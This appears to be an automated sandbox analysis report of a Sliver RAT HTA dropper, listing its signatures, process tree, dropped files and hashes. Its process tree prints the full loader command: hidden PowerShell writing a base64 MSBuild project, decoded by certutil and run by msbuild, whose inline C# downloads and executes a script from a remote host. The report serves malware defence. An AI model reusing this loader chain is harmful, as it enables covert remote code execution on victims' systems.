Analysis

  • max time kernel
    148s
  • max time network
    157s
  • platform
    windows10-2004_x64
  • resource
    win10v2004-20241007-en
  • resource tags

    arch:x64arch:x86image:win10v2004-20241007-enlocale:en-usos:windows10-2004-x64system
  • submitted
    07/11/2024, 02:19

General

  • Target
    3a4befeda808fff4c4bef7d488d59fefa1334d9c7acb6cb155c6cfa9f88a03f3.hta
  • Size 3KB
  • Sample241107-crt25askhx
  • SHA256 3a4befeda808fff4c4bef7d488d59fefa1334d9c7acb6cb155c6cfa9f88a03f3
  • MD5 SHA1 SHA512

Malware Config

Signatures

  • Sliver RAT v2 6 IoCs
  • Sliver family
  • SliverRAT

    SliverRAT is an open source Adversary Emulation Framework.

  • Command and Scripting Interpreter: PowerShell 1 TTPs 1 IoCs

    Run Powershell and hide display window.

  • Manipulates Digital Signatures 1 TTPs 3 IoCs

    Attackers can apply techniques such as changing the registry keys of authenticode & Cryptography to obtain their binary as valid.

  • Checks computer location settings 2 TTPs 1 IoCs

    Looks up country code configured in the registry, likely geofence.

  • Deobfuscate/Decode Files or Information 1 TTPs 1 IoCs

    Payload decoded via CertUtil.

  • Enumerates physical storage devices 1 TTPs

    Attempts to interact with connected storage/optical drive(s).

  • System Location Discovery: System Language Discovery 1 TTPs 3 IoCs

    Attempt gather information about the system language of a victim in order to infer the geographical location of that host.

  • Suspicious behavior: EnumeratesProcesses 3 IoCs
  • Suspicious use of AdjustPrivilegeToken 2 IoCs
  • Suspicious use of WriteProcessMemory 20 IoCs

Processes

  • C:\Windows\SysWOW64\mshta.exe
    C:\Windows\SysWOW64\mshta.exe "C:\Users\Admin\AppData\Local\Temp\3a4befeda808fff4c4bef7d488d59fefa1334d9c7acb6cb155c6cfa9f88a03f3.hta" {1E460BD7-F1C3-4B2E-88BF-4E770A288AF5}{1E460BD7-F1C3-4B2E-88BF-4E770A288AF5}
    1⤵
    • Checks computer location settings
    • System Location Discovery: System Language Discovery
    • Suspicious use of WriteProcessMemory
    PID:1908
    • C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
      "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -windowstyle hidden echo PFByb2plY3QgVG9vbHNWZXJzaW9uPSI0LjAiIHhtbG5zPSJodHRwOi8vc2NoZW1hcy5taWNyb3NvZnQuY29tL2RldmVsb3Blci9tc2J1aWxkLzIwMDMiPg0KICA8IS0tIFRoaXMgaW5saW5lIHRhc2sgZXhlY3V0ZXMgYyMgY29kZS4gLS0+DQogIDwhLS0gQzpcV2luZG93c1xNaWNyb3NvZnQuTkVUXEZyYW1ld29yazY0XHY0LjAuMzAzMTlcbXNidWlsZC5leGUgcHNoZWxsLnhtbCAtLT4NCiAgIDwhLS0gQXV0aG9yOiBDYXNleSBTbWl0aCwgVHdpdHRlcjogQHN1YlRlZSAtLT4NCiAgPCEtLSBMaWNlbnNlOiBCU0QgMy1DbGF1c2UgLS0+DQogIDxUYXJnZXQgTmFtZT0iSGVsbG8iPg0KICAgPEZyYWdtZW50RXhhbXBsZSAvPg0KICAgPENsYXNzRXhhbXBsZSAvPg0KICA8L1RhcmdldD4NCiAgPFVzaW5nVGFzaw0KICAgIFRhc2tOYW1lPSJGcmFnbWVudEV4YW1wbGUiDQogICAgVGFza0ZhY3Rvcnk9IkNvZGVUYXNrRmFjdG9yeSINCiAgICBBc3NlbWJseUZpbGU9IkM6XFdpbmRvd3NcTWljcm9zb2Z0Lk5ldFxGcmFtZXdvcmtcdjQuMC4zMDMxOVxNaWNyb3NvZnQuQnVpbGQuVGFza3MudjQuMC5kbGwiID4NCiAgICA8UGFyYW1ldGVyR3JvdXAvPg0KICAgIDxUYXNrPg0KICAgICAgPFVzaW5nIE5hbWVzcGFjZT0iU3lzdGVtIiAvPg0KICAgICAgPFVzaW5nIE5hbWVzcGFjZT0iU3lzdGVtLklPIiAvPg0KICAgICAgPENvZGUgVHlwZT0iRnJhZ21lbnQiIExhbmd1YWdlPSJjcyI+DQogICAgICAgIDwhW0NEQVRBWw0KICAgICAgICAgICAgICAgIENvbnNvbGUuV3JpdGVMaW5lKCJIZWxsbyBGcm9tIEZyYWdtZW50Iik7DQogICAgICAgIF1dPg0KICAgICAgPC9Db2RlPg0KICAgIDwvVGFzaz4NCiAgICA8L1VzaW5nVGFzaz4NCiAgICA8VXNpbmdUYXNrDQogICAgVGFza05hbWU9IkNsYXNzRXhhbXBsZSINCiAgICBUYXNrRmFjdG9yeT0iQ29kZVRhc2tGYWN0b3J5Ig0KICAgIEFzc2VtYmx5RmlsZT0iQzpcV2luZG93c1xNaWNyb3NvZnQuTmV0XEZyYW1ld29ya1x2NC4wLjMwMzE5XE1pY3Jvc29mdC5CdWlsZC5UYXNrcy52NC4wLmRsbCIgPg0KICAgIDxUYXNrPg0KICAgICAgPFJlZmVyZW5jZSBJbmNsdWRlPSJTeXN0ZW0uTWFuYWdlbWVudC5BdXRvbWF0aW9uIiAvPg0KICAgICAgPENvZGUgVHlwZT0iQ2xhc3MiIExhbmd1YWdlPSJjcyI+DQogICAgICAgIDwhW0NEQVRBWw0KICAgICAgICANCiAgICAgICAgICAgIHVzaW5nIFN5c3RlbTsNCiAgICAgICAgICAgIHVzaW5nIFN5c3RlbS5JTzsNCiAgICAgICAgICAgIHVzaW5nIFN5c3RlbS5EaWFnbm9zdGljczsNCiAgICAgICAgICAgIHVzaW5nIFN5c3RlbS5SZWZsZWN0aW9uOw0KICAgICAgICAgICAgdXNpbmcgU3lzdGVtLlJ1bnRpbWUuSW50ZXJvcFNlcnZpY2VzOw0KICAgICAgICAgICAgLy9BZGQgRm9yIFBvd2VyU2hlbGwgSW52b2NhdGlvbg0KICAgICAgICAgICAgdXNpbmcgU3lzdGVtLkNvbGxlY3Rpb25zLk9iamVjdE1vZGVsOw0KICAgICAgICAgICAgdXNpbmcgU3lzdGVtLk1hbmFnZW1lbnQuQXV0b21hdGlvbjsNCiAgICAgICAgICAgIHVzaW5nIFN5c3RlbS5NYW5hZ2VtZW50LkF1dG9tYXRpb24uUnVuc3BhY2VzOw0KICAgICAgICAgICAgdXNpbmcgU3lzdGVtLlRleHQ7DQogICAgICAgICAgICB1c2luZyBNaWNyb3NvZnQuQnVpbGQuRnJhbWV3b3JrOw0KICAgICAgICAgICAgdXNpbmcgTWljcm9zb2Z0LkJ1aWxkLlV0aWxpdGllczsNCiAgICAgICAgICAgICAgICAgICAgICAgICAgICANCiAgICAgICAgICAgIHB1YmxpYyBjbGFzcyBDbGFzc0V4YW1wbGUgOiAgVGFzaywgSVRhc2sNCiAgICAgICAgICAgIHsNCiAgICAgICAgICAgICAgICBwdWJsaWMgb3ZlcnJpZGUgYm9vbCBFeGVjdXRlKCkNCiAgICAgICAgICAgICAgICB7DQogICAgICAgICAgICAgICAgICAgIFN0cmluZyBjbWQgPSBAIihOZXctT2JqZWN0IE5ldC5XZWJDbGllbnQpLkRvd25sb2FkU3RyaW5nKCdodHRwOi8vc2VjdXJlLmNsb3VkdGVjaG5vbG9naWVzdXNhLmNvbTo4MDgxL3VwZGF0ZS50eHQnKSB8IGlleCI7DQogICAgICAgICAgICBSdW5zcGFjZSBycyA9IFJ1bnNwYWNlRmFjdG9yeS5DcmVhdGVSdW5zcGFjZSgpOw0KICAgICAgICAgICAgcnMuT3BlbigpOw0KICAgICAgICAgICAgUG93ZXJTaGVsbCBwcyA9IFBvd2VyU2hlbGwuQ3JlYXRlKCk7DQogICAgICAgICAgICBwcy5SdW5zcGFjZSA9IHJzOw0KICAgICAgICAgICAgcHMuQWRkU2NyaXB0KGNtZCk7DQogICAgICAgICAgICBwcy5JbnZva2UoKTsNCiAgICAgICAgICAgIHJzLkNsb3NlKCk7DQogICAgICAgICAgICByZXR1cm4gdHJ1ZTsNCiAgICAgICAgICAgICAgICAgICAgDQogICAgICAgICAgICAgICAgDQogICAgICAgICAgICAgICAgfQ0KICAgICAgICAgICAgICAgIA0KICAgICAgICAgICAgICAgIA0KICAgICAgICAgICAgfQ0KICAgICAgICAgICAgDQogICAgICAgICAgICANCiANCiAgICAgICAgICAgIA0KICAgICAgICBdXT4NCiAgICAgIDwvQ29kZT4NCiAgICA8L1Rhc2s+DQogIDwvVXNpbmdUYXNrPg0KPC9Qcm9qZWN0Pg== > c:\windows\temp\enc3.txt;certutil -decode c:\windows\temp\enc3.txt c:\windows\temp\d.xml;C:\Windows\Microsoft.NET\Framework64\v4.0.30319\msbuild.exe C:\windows\temp\d.xml
      2⤵
      • Command and Scripting Interpreter: PowerShell
      • System Location Discovery: System Language Discovery
      • Suspicious behavior: EnumeratesProcesses
      • Suspicious use of AdjustPrivilegeToken
      • Suspicious use of WriteProcessMemory
      PID:3520
      • C:\Windows\SysWOW64\certutil.exe
        "C:\Windows\system32\certutil.exe" -decode c:\windows\temp\enc3.txt c:\windows\temp\d.xml
        3⤵
        • Manipulates Digital Signatures
        • Deobfuscate/Decode Files or Information
        • System Location Discovery: System Language Discovery
        PID:1424
      • C:\Windows\Microsoft.NET\Framework64\v4.0.30319\msbuild.exe
        "C:\Windows\Microsoft.NET\Framework64\v4.0.30319\msbuild.exe" C:\windows\temp\d.xml
        3⤵
        • Suspicious behavior: EnumeratesProcesses
        • Suspicious use of AdjustPrivilegeToken
        • Suspicious use of WriteProcessMemory
        PID:952
        • C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe
          "C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe" /noconfig /fullpaths @"C:\Users\Admin\AppData\Local\Temp\jf22zewm\jf22zewm.cmdline"
          4⤵
          • Suspicious use of WriteProcessMemory
          PID:3036
          • C:\Windows\Microsoft.NET\Framework64\v4.0.30319\cvtres.exe
            C:\Windows\Microsoft.NET\Framework64\v4.0.30319\cvtres.exe /NOLOGO /READONLY /MACHINE:IX86 "/OUT:C:\Users\Admin\AppData\Local\Temp\RESA103.tmp" "c:\Users\Admin\AppData\Local\Temp\jf22zewm\CSCF2DD54211A2D49E8848FE2A759778517.TMP"
            5⤵
              PID:4876
          • C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe
            "C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe" /noconfig /fullpaths @"C:\Users\Admin\AppData\Local\Temp\xfko3qp1\xfko3qp1.cmdline"
            4⤵
            • Suspicious use of WriteProcessMemory
            PID:2056
            • C:\Windows\Microsoft.NET\Framework64\v4.0.30319\cvtres.exe
              C:\Windows\Microsoft.NET\Framework64\v4.0.30319\cvtres.exe /NOLOGO /READONLY /MACHINE:IX86 "/OUT:C:\Users\Admin\AppData\Local\Temp\RESA1DD.tmp" "c:\Users\Admin\AppData\Local\Temp\xfko3qp1\CSC38CB23A5B53845F9B981C2248DFA324.TMP"
              5⤵
                PID:3988
            • C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe
              "C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe" /noconfig /fullpaths @"C:\Users\Admin\AppData\Local\Temp\o0ad3aie\o0ad3aie.cmdline"
              4⤵
              • Suspicious use of WriteProcessMemory
              PID:2136
              • C:\Windows\Microsoft.NET\Framework64\v4.0.30319\cvtres.exe
                C:\Windows\Microsoft.NET\Framework64\v4.0.30319\cvtres.exe /NOLOGO /READONLY /MACHINE:IX86 "/OUT:C:\Users\Admin\AppData\Local\Temp\RESA4CB.tmp" "c:\Users\Admin\AppData\Local\Temp\o0ad3aie\CSCC4B6DA4213974CFAB99435AA1B94512.TMP"
                5⤵
                  PID:1616

        Network

              MITRE ATT&CK Enterprise v15

              Replay Monitor

              Loading Replay Monitor...

              Downloads

              RESA103.tmp

              • Path C:\Users\Admin\AppData\Local\Temp\RESA103.tmp
              • Size 1KB
              • SHA256 018a3672621a1507f13dd3b1c0b17ee3c580cd6b4f419d16d307f2023b431e9e
              • MD5 SHA1 SHA512

              RESA1DD.tmp

              • Path C:\Users\Admin\AppData\Local\Temp\RESA1DD.tmp
              • Size 1KB
              • SHA256 a0dadca789337649ca394bfd993d0e8a49e2c19b4c50d3ffbbb4b7c1a2471a87
              • MD5 SHA1 SHA512

              RESA4CB.tmp

              • Path C:\Users\Admin\AppData\Local\Temp\RESA4CB.tmp
              • Size 1KB
              • SHA256 1b9c0e6949060a80ff379a0e0c58a1b5a959305156a886af3478071f8a662be9
              • MD5 SHA1 SHA512

              __PSScriptPolicyTest_damg5dxo.rm5.ps1

              • Path C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_damg5dxo.rm5.ps1
              • Size 60B
              • SHA256 96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7
              • MD5 SHA1 SHA512

              jf22zewm.dll

              • Path C:\Users\Admin\AppData\Local\Temp\jf22zewm\jf22zewm.dll
              • Size 4KB
              • SHA256 f251611b3d76e57616e1f80c7ec49920bbff294bef9006cbde133868d6c64040
              • MD5 SHA1 SHA512

              jf22zewm.pdb

              • Path C:\Users\Admin\AppData\Local\Temp\jf22zewm\jf22zewm.pdb
              • Size 11KB
              • SHA256 e4b55cfa35a1c121f674ce3b8518f2aead81e7591a137ff288b4f74be7222f0d
              • MD5 SHA1 SHA512 SSDEEP

              o0ad3aie.dll

              • Path C:\Users\Admin\AppData\Local\Temp\o0ad3aie\o0ad3aie.dll
              • Size 3KB
              • SHA256 0e4995b295c2c086fb5a49cadb1448a5dcdf7b8697f97f505a2c0a16665e734f
              • MD5 SHA1 SHA512

              xfko3qp1.dll

              • Path C:\Users\Admin\AppData\Local\Temp\xfko3qp1\xfko3qp1.dll
              • Size 4KB
              • SHA256 913e46a90ccc162b187f5104d589dc54c0998a023e12d83b8f2a747e4c456802
              • MD5 SHA1 SHA512

              xfko3qp1.pdb

              • Path C:\Users\Admin\AppData\Local\Temp\xfko3qp1\xfko3qp1.pdb
              • Size 11KB
              • SHA256 cdf9dadd3895b7f874fef2d898b07e5f505a534fdd9084303a9226f0f77b9898
              • MD5 SHA1 SHA512 SSDEEP

              d.xml

              • Path C:\windows\temp\d.xml
              • Size 2KB
              • SHA256 104291eb54874a1e80375b91ec552efac6632272654c8a5613730bd2eba9e78a
              • MD5 SHA1 SHA512

              CSCF2DD54211A2D49E8848FE2A759778517.TMP

              • Path \??\c:\Users\Admin\AppData\Local\Temp\jf22zewm\CSCF2DD54211A2D49E8848FE2A759778517.TMP
              • Size 652B
              • SHA256 3a1297f629a098ea3771944607932a60502995298531fb312c30a4e8ec9b4cd9
              • MD5 SHA1 SHA512

              jf22zewm.0.cs

              • Path \??\c:\Users\Admin\AppData\Local\Temp\jf22zewm\jf22zewm.0.cs
              • Size 1KB
              • SHA256 70e3eb02311312b3f1ff90617cb47ebb9b8e7cab47771668811a34584182c6bb
              • MD5 SHA1 SHA512

              jf22zewm.cmdline

              • Path \??\c:\Users\Admin\AppData\Local\Temp\jf22zewm\jf22zewm.cmdline
              • Size 660B
              • SHA256 9a1432b68f86e146f144f06206b3c9e06a677d7b52df4aaa310aff52cb76d03f
              • MD5 SHA1 SHA512

              CSCC4B6DA4213974CFAB99435AA1B94512.TMP

              • Path \??\c:\Users\Admin\AppData\Local\Temp\o0ad3aie\CSCC4B6DA4213974CFAB99435AA1B94512.TMP
              • Size 652B
              • SHA256 a3cc88b9d10aa7290a009cfc3a0d70d87a12b129d78432447cbb4a663244932f
              • MD5 SHA1 SHA512

              o0ad3aie.0.cs

              • Path \??\c:\Users\Admin\AppData\Local\Temp\o0ad3aie\o0ad3aie.0.cs
              • Size 611B
              • SHA256 67bc3e11493360528ba1296980ab818bf4c3938d14ddd6b5063bba03667b28ac
              • MD5 SHA1 SHA512

              o0ad3aie.cmdline

              • Path \??\c:\Users\Admin\AppData\Local\Temp\o0ad3aie\o0ad3aie.cmdline
              • Size 369B
              • SHA256 8c875cf738bf775fa8e3d1fe21e624d6e856a47bd060b564a73750d4783440db
              • MD5 SHA1 SHA512

              CSC38CB23A5B53845F9B981C2248DFA324.TMP

              • Path \??\c:\Users\Admin\AppData\Local\Temp\xfko3qp1\CSC38CB23A5B53845F9B981C2248DFA324.TMP
              • Size 652B
              • SHA256 9e38db25e91b461a7191f87c4e1b41ce5266da42f82436669495e0c5e86b40f9
              • MD5 SHA1 SHA512

              xfko3qp1.0.cs

              • Path \??\c:\Users\Admin\AppData\Local\Temp\xfko3qp1\xfko3qp1.0.cs
              • Size 1KB
              • SHA256 624fe16b05ade5d9929c6ecf16857939230ea32156405c18b4dacfb0448e310e
              • MD5 SHA1 SHA512

              xfko3qp1.cmdline

              • Path \??\c:\Users\Admin\AppData\Local\Temp\xfko3qp1\xfko3qp1.cmdline
              • Size 801B
              • SHA256 ba1cdc0c60624fea02bc85a952474a69c93a4c408a92fbbd6f46ca076885f681
              • MD5 SHA1 SHA512

              enc3.txt

              • Path \??\c:\windows\temp\enc3.txt
              • Size 6KB
              • SHA256 731673720695df22b838e0d256f7506eaa4c7570601db0a409302ab3a0cd1686
              • MD5 SHA1 SHA512 SSDEEP

              memory/952-33-0x00000281A8370000-0x00000281A83B4000-memory.dmp

              memory/952-98-0x00000281ABF50000-0x00000281ACA34000-memory.dmp

              memory/952-34-0x00000281A86B0000-0x00000281A882C000-memory.dmp

              memory/952-35-0x00000281A8A20000-0x00000281A8D86000-memory.dmp

              memory/952-32-0x00000281A8450000-0x00000281A8572000-memory.dmp

              memory/952-28-0x000002818DFE0000-0x000002818DFFA000-memory.dmp

              memory/952-100-0x00000281ABF50000-0x00000281ACA34000-memory.dmp

              memory/952-99-0x00000281ABF50000-0x00000281ACA34000-memory.dmp

              memory/952-97-0x00000281ABF50000-0x00000281ACA34000-memory.dmp

              memory/952-77-0x00000281AA820000-0x00000281AA842000-memory.dmp

              memory/952-50-0x00000281A8010000-0x00000281A8018000-memory.dmp

              memory/952-27-0x000002818DBE0000-0x000002818DC1E000-memory.dmp

              memory/952-30-0x00000281A8040000-0x00000281A8070000-memory.dmp

              memory/952-29-0x00000281A8170000-0x00000281A82CA000-memory.dmp

              memory/952-96-0x00000281ABF50000-0x00000281ACA34000-memory.dmp

              memory/952-95-0x00000281AAA50000-0x00000281AB4CB000-memory.dmp

              memory/952-90-0x00000281A8320000-0x00000281A8328000-memory.dmp

              memory/952-66-0x00000281A8020000-0x00000281A8028000-memory.dmp

              memory/3520-23-0x00000000077B0000-0x00000000077CA000-memory.dmp

              memory/3520-2-0x000000007424E000-0x000000007424F000-memory.dmp

              memory/3520-6-0x0000000074240000-0x00000000749F0000-memory.dmp

              memory/3520-5-0x0000000005910000-0x0000000005F38000-memory.dmp

              memory/3520-4-0x0000000074240000-0x00000000749F0000-memory.dmp

              memory/3520-7-0x0000000005860000-0x0000000005882000-memory.dmp

              memory/3520-3-0x0000000003270000-0x00000000032A6000-memory.dmp

              memory/3520-92-0x000000007424E000-0x000000007424F000-memory.dmp

              memory/3520-93-0x0000000074240000-0x00000000749F0000-memory.dmp

              memory/3520-8-0x0000000006030000-0x0000000006096000-memory.dmp

              memory/3520-9-0x0000000006110000-0x0000000006176000-memory.dmp

              memory/3520-19-0x0000000006180000-0x00000000064D4000-memory.dmp

              memory/3520-20-0x0000000006730000-0x000000000674E000-memory.dmp

              memory/3520-21-0x00000000067B0000-0x00000000067FC000-memory.dmp

              memory/3520-22-0x0000000007E00000-0x000000000847A000-memory.dmp